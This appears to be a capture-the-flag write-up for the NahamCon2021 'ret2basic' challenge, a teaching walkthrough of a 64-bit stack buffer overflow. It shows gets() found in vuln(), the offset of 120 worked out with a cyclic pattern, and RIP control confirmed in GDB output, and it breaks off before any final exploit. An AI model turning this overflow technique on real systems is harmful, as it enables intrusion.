Posts NahamCon2021 CTF - Ret2basic
Post
Cancel

NahamCon2021 CTF - Ret2basic

ret2basic was a basic ret2win based binary exploitation challenge where we Locate a method within the binary that we want to call and do so by overwriting a saved return address on the stack.

Binary Analysis

Taking a peek at the file:

1
2
3
cfx:  ~/Documents/nahamcon/binary
→ file ret2basic
ret2basic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3ca85eae693fed659275c0eed9c313e7f0083b85, for GNU/Linux 4.4.0, not stripped

Binary is an 64-bit ELF executable and is not stripped which means we can decompile it with ghidra/cutter and take a look at the code.

Now let’s look at the security features of the binary:

1
2
3
4
5
6
7
8
cfx:  ~/Documents/nahamcon/binary
→ checksec ret2basic
[*] '/root/Documents/nahamcon/binary/ret2basic'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  • No Stack canary : Stack Canaries are a secret value placed on the stack which changes every time the program is started. Refer this to learn more about stack canaries.

  • No PIE : It means ASLR is disabled and the binary will be loaded at fixed base address (i.e. 0x400000)

Lucky for us, it appears this is an basic Stack based Buffer Overflow with ASLR disabled.

Now rather than jumping to Ghidra to decompile the binary, let’s try to analyse it manually and find the vulnerable function and it’s offset.

Segmentation fault

Testing the binary:

1
2
3
4
cfx:  ~/Documents/nahamcon/binary
→ ./ret2basic
Can you overflow this?: AAAAAAAAAAAAAAAAAAAAAAAA
Nope :(

Using python3 to generate long string:

1
2
3
cfx:  ~/Documents/nahamcon/binary
→ python3 -c "print('A'*200)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Sending the string to binary:

1
2
3
4
cfx:  ~/Documents/nahamcon/binary
→ ./ret2basic
Can you overflow this?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

On sending 200 A’s we receive segmentation fault which indicates somewhere we overwrote a address which supposedly caused the binary to crash.

Functions

Next We take a look at the functions inside this binary, we’ll make use of readelf to dump all the functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
cfx:  ~/Documents/nahamcon/binary
→ readelf -s ret2basic | grep "FUNC"
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND free@GLIBC_2.2.5 (2)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [...]@GLIBC_2.2.5 (2)
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [...]@GLIBC_2.2.5 (2)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [...]@GLIBC_2.2.5 (2)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [...]@GLIBC_2.2.5 (2)
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [...]@GLIBC_2.2.5 (2)
     9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fgets@GLIBC_2.2.5 (2)
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND ftell@GLIBC_2.2.5 (2)
    12: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND gets@GLIBC_2.2.5 (2)
    13: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [...]@GLIBC_2.2.5 (2)
    14: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fseek@GLIBC_2.2.5 (2)
    15: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fopen@GLIBC_2.2.5 (2)
    16: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.2.5 (2)
     6: 0000000000401140     0 FUNC    LOCAL  DEFAULT   14 deregister_tm_clones
     7: 0000000000401170     0 FUNC    LOCAL  DEFAULT   14 register_tm_clones
     8: 00000000004011b0     0 FUNC    LOCAL  DEFAULT   14 __do_global_dtors_aux
    11: 00000000004011e0     0 FUNC    LOCAL  DEFAULT   14 frame_dummy
    22: 00000000004013d0     5 FUNC    GLOBAL DEFAULT   14 __libc_csu_fini
    23: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND free@GLIBC_2.2.5
    27: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5
    28: 000000000040130f    45 FUNC    GLOBAL DEFAULT   14 vuln
    31: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fclose@GLIBC_2.2.5
    32: 00000000004013d8     0 FUNC    GLOBAL HIDDEN    15 _fini
    33: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND setbuf@GLIBC_2.2.5
    34: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.2.5
    35: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND rewind@GLIBC_2.2.5
    36: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_mai[...]
    37: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fgets@GLIBC_2.2.5
    39: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND ftell@GLIBC_2.2.5
    43: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND gets@GLIBC_2.2.5
    44: 0000000000401360   101 FUNC    GLOBAL DEFAULT   14 __libc_csu_init
    45: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND malloc@GLIBC_2.2.5
    46: 0000000000401215   250 FUNC    GLOBAL DEFAULT   14 win
    48: 0000000000401130     5 FUNC    GLOBAL HIDDEN    14 _dl_relocate_sta[...]
    49: 0000000000401100    47 FUNC    GLOBAL DEFAULT   14 _start
    50: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fseek@GLIBC_2.2.5
    52: 000000000040133c    33 FUNC    GLOBAL DEFAULT   14 main
    53: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fopen@GLIBC_2.2.5
    54: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.2.5
    57: 0000000000401000     0 FUNC    GLOBAL HIDDEN    12 _init
    58: 00000000004011e6    47 FUNC    GLOBAL DEFAULT   14 setup

We see three interesting functions:

  • main
  • vuln
  • win

Function win being present pretty much hints toward this challenge being ret2win

Debugging

Let’s move forward with debugging the binary, we’ll use gef which is GDB enhanced features

1
2
3
4
5
6
7
cfx:  ~/Documents/nahamcon/binary

→ gdb -q ret2basic
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.2 using Python engine 3.8
Reading symbols from ret2basic...
(No debugging symbols found in ret2basic)

We can also see the functions inside the binary using info functions command in gef :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  free@plt
0x0000000000401040  puts@plt
0x0000000000401050  fclose@plt
0x0000000000401060  setbuf@plt
0x0000000000401070  printf@plt
0x0000000000401080  rewind@plt
0x0000000000401090  fgets@plt
0x00000000004010a0  ftell@plt
0x00000000004010b0  gets@plt
0x00000000004010c0  malloc@plt
0x00000000004010d0  fseek@plt
0x00000000004010e0  fopen@plt
0x00000000004010f0  exit@plt
0x0000000000401100  _start
0x0000000000401130  _dl_relocate_static_pie
0x0000000000401140  deregister_tm_clones
0x0000000000401170  register_tm_clones
0x00000000004011b0  __do_global_dtors_aux
0x00000000004011e0  frame_dummy
0x00000000004011e6  setup
0x0000000000401215  win
0x000000000040130f  vuln
0x000000000040133c  main
0x0000000000401360  __libc_csu_init
0x00000000004013d0  __libc_csu_fini
0x00000000004013d8  _fini

Next we disassemble main function:

1
2
3
4
5
6
7
8
9
10
11
12
gef➤  disassemble main
Dump of assembler code for function main:
   0x000000000040133c <+0>:     push   rbp
   0x000000000040133d <+1>:     mov    rbp,rsp
   0x0000000000401340 <+4>:     mov    eax,0x0
   0x0000000000401345 <+9>:     call   0x40130f <vuln>
   0x000000000040134a <+14>:    lea    rdi,[rip+0xd22]        # 0x402073
   0x0000000000401351 <+21>:    call   0x401040 <puts@plt>
   0x0000000000401356 <+26>:    mov    eax,0x0
   0x000000000040135b <+31>:    pop    rbp
   0x000000000040135c <+32>:    ret
End of assembler dump.

Here we see main function calling vuln function which is probably where the vulnerability is present.

Let’s look at vuln and make sure of it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gef➤  disassemble vuln
Dump of assembler code for function vuln:
   0x000000000040130f <+0>:     push   rbp
   0x0000000000401310 <+1>:     mov    rbp,rsp
   0x0000000000401313 <+4>:     sub    rsp,0x70
   0x0000000000401317 <+8>:     lea    rdi,[rip+0xd3c]        # 0x40205a
   0x000000000040131e <+15>:    mov    eax,0x0
   0x0000000000401323 <+20>:    call   0x401070 <printf@plt>
   0x0000000000401328 <+25>:    lea    rax,[rbp-0x70]
   0x000000000040132c <+29>:    mov    rdi,rax
   0x000000000040132f <+32>:    mov    eax,0x0
   0x0000000000401334 <+37>:    call   0x4010b0 <gets@plt>
   0x0000000000401339 <+42>:    nop
   0x000000000040133a <+43>:    leave
   0x000000000040133b <+44>:    ret
End of assembler dump.

Bingo ! Here we see vuln is using gets() which is where the overflow is existing.

On reading about gets() using man gets

Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead

So now at least we are clear we need to clobber up vuln for conducting overflow.

Further there is one more function win left to analyse, we’ll use cutter a reverse engineering tool. We can also use tools like radare, binary ninja .

  • Step 1: Open the binary in Cutter and analyse it, once done we should see a functions tab on left side. On selecting main function we should see the following graphical view where it’s calling vuln function:

main

Looking at functions tab we also see that first we need to reach vuln function and then win

  • Step 2: Looking at vuln function

Here we see Can you overflow this? string and the gets() call.

vuln

  • Step 3: Peeking at win function

Here we understand win function will allow us to read the flag.txt once we are able to reach it.

win

Overflow? Where?

Great ! So now know what needs to be done ? -> we need to reach win function to read flag.txt

Next, we need to figure out how it needs to be done.

Let’s first send 200 A’s to the binary and analyse the registers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
gef➤  r
Starting program: /root/Documents/nahamcon/binary/ret2basic
Can you overflow this?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdcf0 ('A' <repeats 200 times>)
RBX: 0x0
RCX: 0x7ffff7f9e980 --> 0xfbad208b
RDX: 0x0
RSI: 0x7ffff7f9ea03 --> 0xfa1680000000000a
RDI: 0x7ffff7fa1680 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdd68 ('A' <repeats 80 times>)
RIP: 0x40133b (<vuln+44>:       ret)
R8 : 0x7fffffffdcf0 ('A' <repeats 200 times>)
R9 : 0x0
R10: 0xfffffffffffff24a
R11: 0x246
R12: 0x401100 (<_start>:        endbr64)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401334 <vuln+37>:  call   0x4010b0 <gets@plt>
   0x401339 <vuln+42>:  nop
   0x40133a <vuln+43>:  leave
=> 0x40133b <vuln+44>:  ret
   0x40133c <main>:     push   rbp
   0x40133d <main+1>:   mov    rbp,rsp
   0x401340 <main+4>:   mov    eax,0x0
   0x401345 <main+9>:   call   0x40130f <vuln>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd68 ('A' <repeats 80 times>)
0008| 0x7fffffffdd70 ('A' <repeats 72 times>)
0016| 0x7fffffffdd78 ('A' <repeats 64 times>)
0024| 0x7fffffffdd80 ('A' <repeats 56 times>)
0032| 0x7fffffffdd88 ('A' <repeats 48 times>)
0040| 0x7fffffffdd90 ('A' <repeats 40 times>)
0048| 0x7fffffffdd98 ('A' <repeats 32 times>)
0056| 0x7fffffffdda0 ('A' <repeats 24 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040133b in vuln ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffdcf0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbx   : 0x0
$rcx   : 0x00007ffff7f9e980  →  0x00000000fbad208b
$rdx   : 0x0
$rsp   : 0x00007fffffffdd68  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x00007ffff7f9ea03  →  0xfa1680000000000a
$rdi   : 0x00007ffff7fa1680  →  0x0000000000000000
$rip   : 0x000000000040133b  →  <vuln+44> ret
$r8    : 0x00007fffffffdcf0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$r9    : 0x0
$r10   : 0xfffffffffffff24a
$r11   : 0x246
$r12   : 0x0000000000401100  →  <_start+0> endbr64
$r13   : 0x0
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdd68│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"$rsp
0x00007fffffffdd70│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffdd78│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffdd80│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffdd88│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fffffffdd90│+0x0028: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fffffffdd98│+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fffffffdda0│+0x0038: "AAAAAAAAAAAAAAAAAAAAAAAA"
────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401334 <vuln+37>        call   0x4010b0 <gets@plt>
     0x401339 <vuln+42>        nop
     0x40133a <vuln+43>        leave
 →   0x40133b <vuln+44>        ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2basic", stopped 0x40133b in vuln (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40133b → vuln()
───────────────────────────────────────────────────────────────────────────────────────────────
gef➤

Here we can see the overflow smashing the stack overwriting RSP and RBP to be filled with A’s, causing the ret from vuln() to crash.

Now some individual who previously might have seen classic stack buffer overflow’s in HackTheBox or other pentesting labs might be wondering why didn’t we overwrite return instruction pointer (RIP), but instead we caused ret from vuln() to crash.

The reason why we didnt overwrite RIP is cause this an 64-bit binary.

Brainstorm: 32-bit vs 64-bit

Some important points with regards to 64-bit:

  1. General purpose registers have been expanded to 64-bit. So we now have RAX, RBX, RCX, RDX, RSI, and RDI.
  2. Instruction pointer, base pointer, and stack pointer have also been expanded to 64-bit as RIP, RBP, and RSP respectively.
  3. Additional registers have been provided: R8 to R15.
  4. Pointers are 8-bytes wide.
  5. Push/pop on the stack are 8-bytes wide.
  6. Maximum canonical address size of 0x00007FFFFFFFFFFF.
  7. Parameters to functions are passed through registers.
  • In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilized for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.

can

  • In a 32-bit architecture, whenever a buffer is overflown, the register eip gets loaded with the overwritten “saved return address” from stack but that is not the case with 64-bit architecture where the register rip must be loaded with a canonical address else it will never be loaded. Since 0x4141414141414141 (‘A’ = 0x41) doesn’t fall in the required range, it never gets loaded in register rip

  • So the program crashed as expected, but not because we overwrote RIP with an invalid address. In fact we don’t control RIP at all. As mentioned in 1st point, maximum address size is 0x00007FFFFFFFFFFF. We’re overwriting RIP with a non-canonical address of 0x4141414141414141 which causes the processor to raise an exception. In order to control RIP, we need to overwrite it with 0x0000414141414141 instead.

Offset hunt

So, now we need to find the correct offset !! To do so RBP and RSP should help us as we can see in above stack trace as they do get overwritten with A’s

To determine the exact location in the input buffer where the address to ret to should be, we can use a cycling buffer of 200 characters, we’ll use in built pattern create from GEF

1
2
3
4
gef➤  pattern create 200
[+] Generating a pattern of 200 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
[+] Saved as '$_gef1'

Now we’ll send this to the binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
gef➤  r
Starting program: /root/Documents/nahamcon/binary/ret2basic
Can you overflow this?: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdcf0 ("aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
RBX: 0x0
RCX: 0x7ffff7f9e980 --> 0xfbad208b
RDX: 0x0
RSI: 0x7ffff7f9ea03 --> 0xfa1680000000000a
RDI: 0x7ffff7fa1680 --> 0x0
RBP: 0x616161616161616f ('oaaaaaaa')
RSP: 0x7fffffffdd68 ("paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
RIP: 0x40133b (<vuln+44>:       ret)
R8 : 0x7fffffffdcf0 ("aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
R9 : 0x0
R10: 0xfffffffffffff24a
R11: 0x246
R12: 0x401100 (<_start>:        endbr64)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401334 <vuln+37>:  call   0x4010b0 <gets@plt>
   0x401339 <vuln+42>:  nop
   0x40133a <vuln+43>:  leave
=> 0x40133b <vuln+44>:  ret
   0x40133c <main>:     push   rbp
   0x40133d <main+1>:   mov    rbp,rsp
   0x401340 <main+4>:   mov    eax,0x0
   0x401345 <main+9>:   call   0x40130f <vuln>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd68 ("paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
0008| 0x7fffffffdd70 ("qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
0016| 0x7fffffffdd78 ("raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
0024| 0x7fffffffdd80 ("saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
0032| 0x7fffffffdd88 ("taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
0040| 0x7fffffffdd90 ("uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
0048| 0x7fffffffdd98 ("vaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
0056| 0x7fffffffdda0 ("waaaaaaaxaaaaaaayaaaaaaa")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040133b in vuln ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffdcf0  →  "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$rbx   : 0x0
$rcx   : 0x00007ffff7f9e980  →  0x00000000fbad208b
$rdx   : 0x0
$rsp   : 0x00007fffffffdd68  →  "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]"
$rbp   : 0x616161616161616f ("oaaaaaaa"?)
$rsi   : 0x00007ffff7f9ea03  →  0xfa1680000000000a
$rdi   : 0x00007ffff7fa1680  →  0x0000000000000000
$rip   : 0x000000000040133b  →  <vuln+44> ret
$r8    : 0x00007fffffffdcf0  →  "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$r9    : 0x0
$r10   : 0xfffffffffffff24a
$r11   : 0x246
$r12   : 0x0000000000401100  →  <_start+0> endbr64
$r13   : 0x0
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdd68│+0x0000: "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]"$rsp
0x00007fffffffdd70│+0x0008: "qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawa[...]"
0x00007fffffffdd78│+0x0010: "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"
0x00007fffffffdd80│+0x0018: "saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[...]"
0x00007fffffffdd88│+0x0020: "taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x00007fffffffdd90│+0x0028: "uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x00007fffffffdd98│+0x0030: "vaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x00007fffffffdda0│+0x0038: "waaaaaaaxaaaaaaayaaaaaaa"
────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401334 <vuln+37>        call   0x4010b0 <gets@plt>
     0x401339 <vuln+42>        nop
     0x40133a <vuln+43>        leave
 →   0x40133b <vuln+44>        ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2basic", stopped 0x40133b in vuln (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40133b → vuln()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

As we can see both RSP and RBP are filled with our pattern, let’s make use pattern search utility from GEF

Examining RSP:

1
2
3
4
gef➤  pattern search $rsp
[+] Searching '$rsp'
[+] Found at offset 120 (little-endian search) likely
[+] Found at offset 113 (big-endian search)

So RIP is at offset 120.

Let’s confirm the same by sending 120 A’s + 6 B’s which should cause RIP to be overwritten as 0x0000424242424242 and by doing so we are loading RIP register with a canonical address.

1
2
3
cfx:  ~/Documents/nahamcon/binary
→ python3 -c "print ('A'*120 + 'BBBBBB')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
gef➤  r
Starting program: /root/Documents/nahamcon/binary/ret2basic
Can you overflow this?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdcf0 ('A' <repeats 120 times>, "BBBBBB")
RBX: 0x0
RCX: 0x7ffff7f9e980 --> 0xfbad208b
RDX: 0x0
RSI: 0x7ffff7f9ea03 --> 0xfa1680000000000a
RDI: 0x7ffff7fa1680 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdd70 --> 0x401360 (<__libc_csu_init>:    endbr64)
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x7fffffffdcf0 ('A' <repeats 120 times>, "BBBBBB")
R9 : 0x0
R10: 0xfffffffffffff24a
R11: 0x246
R12: 0x401100 (<_start>:        endbr64)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd70 --> 0x401360 (<__libc_csu_init>:   endbr64)
0008| 0x7fffffffdd78 --> 0x7ffff7e06cca (<__libc_start_main+234>:       mov    edi,eax)
0016| 0x7fffffffdd80 --> 0x7fffffffde68 --> 0x7fffffffe219 ("/root/Documents/nahamcon/binary/ret2basic")
0024| 0x7fffffffdd88 --> 0x100000000
0032| 0x7fffffffdd90 --> 0x40133c (<main>:      push   rbp)
0040| 0x7fffffffdd98 --> 0x7ffff7e067d9 (<init_cacheinfo+297>:  mov    rbp,rax)
0048| 0x7fffffffdda0 --> 0x0
0056| 0x7fffffffdda8 --> 0x96382d43e61f4924
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffdcf0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbx   : 0x0
$rcx   : 0x00007ffff7f9e980  →  0x00000000fbad208b
$rdx   : 0x0
$rsp   : 0x00007fffffffdd70  →  0x0000000000401360  →  <__libc_csu_init+0> endbr64
$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x00007ffff7f9ea03  →  0xfa1680000000000a
$rdi   : 0x00007ffff7fa1680  →  0x0000000000000000
$rip   : 0x424242424242
$r8    : 0x00007fffffffdcf0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$r9    : 0x0
$r10   : 0xfffffffffffff24a
$r11   : 0x246
